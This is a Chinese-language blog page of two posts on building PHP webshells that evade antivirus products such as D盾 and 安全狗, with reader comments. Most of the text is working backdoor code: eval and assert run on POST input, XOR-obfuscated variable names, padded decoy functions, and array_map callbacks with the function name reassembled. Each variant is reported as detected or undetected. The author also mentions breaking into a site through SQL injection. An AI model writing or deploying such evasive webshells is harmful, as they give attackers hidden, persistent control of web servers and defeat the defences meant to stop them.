-
免杀webshell过程中遇到的一些骚操作。
有时候发现安全防护软件真的挺奇葩的。 之前写过一个免杀webshell,用的是assert,但php高版本已经不支持了。 所以打算写个基于eval的webshell。 由于不能用$$a 这种变量绕过。所以只能直接和杀毒软件硬刚eval。 eval(base64_decode(...)); 这种格式已经用烂了。只要检测这种函数组合必报毒。 所以打算用eval(diy_fun(...));的形式绕过 写的过程中发现一个很奇怪的设定 举个例子 这种就报毒 <?php function base64decrypt($str_s) { return ($str_s); } $s = "6aman" ^ "i1\"2:"; $a = ${$s}[a]; eval(base64decrypt($a)) ?> 然后下面这种就不报毒。 <?php function base64decrypt($str_s) { $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); $str_s = str_replace("", "", ""); return ($str_s); } $s = "6aman" ^ "i1\"2:"; $a = ${$s}[a]; eval(base64decrypt($a)) ?> 我本地测试了好多次,发现确实与函数中代码多少有关系。 然后继续测试是行数问题还是字符串数量 下面这个不报毒 <?php function base64decrypt($str_s) { $str_s = str_replace("1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111", "", ""); return ($str_s); } $s = "6aman" ^ "i1\"2:"; $a = ${$s}[a]; eval(base64decrypt($a)) ?> 不过问题不是这么简单,不仅仅是函数内容的数量。 比如我把变量$str_s 改成$a。就要在str_replace中的“1111...”的字符串中加上相应的数量。 后来发现该函数名的长短也会受到影响。 这个数量大概实在410 左右。 -
webshell免杀思路
博客又开通了,不能没有内容,水一篇是一篇 无论你是小白亦或是大的不能再大的佬,一款免杀的webshell是必备的。 遥想当年,在午夜2点,意气风发的我随着“and 1=1”的成功,进入到某站后台,然后对着百度开始绕过后缀上传,然而被突如其来的狗咬了 一口,那滋味别提多难受了。于是我开始走上了乞讨之路,只为从佬的手里借一下打狗棒。 后来我发现,webshell免杀其实挺简单的,由于本人只了解一些PHP,其他语言尚未涉猎,SO,暂时只探讨PHP。 首先来看一下正常的一句话。 <?php eval($_POST['aman']);?> D盾报毒: 他既然报eval后门那么久处理eval,先来简单的混淆(由于eval不支持变量调用,这里换成了assert) <?php $a="assert"; $a($_POST['aman']); ?> D盾报毒: 报毒变量函数后门我们在混淆下assert <?php function aman($a) { $a($_POST['aman']); }aman(assert); ?> D盾报毒: 可见这里已经降低危险级别了(这是好事),不过笔者发现一个奇怪的现象。如果把以上代码压缩成一行即: <?php function aman($a){$a($_POST['aman']);}aman(assert); ?> D盾就不报毒。 可能D盾的作者写规则的时候没考虑到。笔者还特意去下载了安全狗,果不其然安全狗正常报毒(不报毒才不正常)。 忽略上面小插曲,然后我们再想办法绕过“可疑变量函数”,至于方法就是利用回调函数。一下是笔者整理的PHP的回调函数 call_user_func_array() call_user_func() array_filter() array_walk() array_map() registregister_shutdown_function() register_tick_function() filter_var() filter_var_array() uasort() uksort() array_reduce() array_walk_recursive() 我们这里采用“array_map”,因为我刚好在前端时间用过这个。用法传送门 <?php @array_map("assert", $_POST); ?> D盾报毒:array_map参数xxxx,为了找到原因我们做一下测试 写法一(改变assert为asse,目的是为了测试是否因为assert导致的):报毒 <?php @array_map("asse", $_POST); ?> 写法二(测试改变第二个参数 $_POST,目的是为了测试是否因为$_POST导致的):报毒 <?php $a = "_POST"; @array_map("assert", $$a); ?> 写法三(同时改变两个参数):不报毒 <?php $a = "_POST"; @array_map("asse", $$a); ?> 原因找到了是因为$_POST和assert导致的,$_POST写法三已经绕过,接下来处理assert。 <?php $a = "_POST"; @array_map(implode('',['a','s','s','e','r','t']), $$a); ?> D盾免杀,安全狗免杀 总结:其实比起shellcode或者exe来讲 webshell算是入门级的免杀操作了(仅指php),重点就在于利用排除法,找到检测的关键点,一点点的针对性绕过。 好了,水文章完毕,谢谢大家!
最新评论
Aman 2年前
@阿巴阿巴:define
阿巴阿巴 3年前
如果waf屏蔽了$该怎么绕啊楼主
Aman 3年前
@啊啊:没有,等有空我完善下打包成插件
啊啊 3年前
博主 这个有视频教程吗 没看懂....
Aman 3年前
@波波:密码随意
波波 3年前
这句话的怎么连接啊,楼主
Aman 3年前
Hi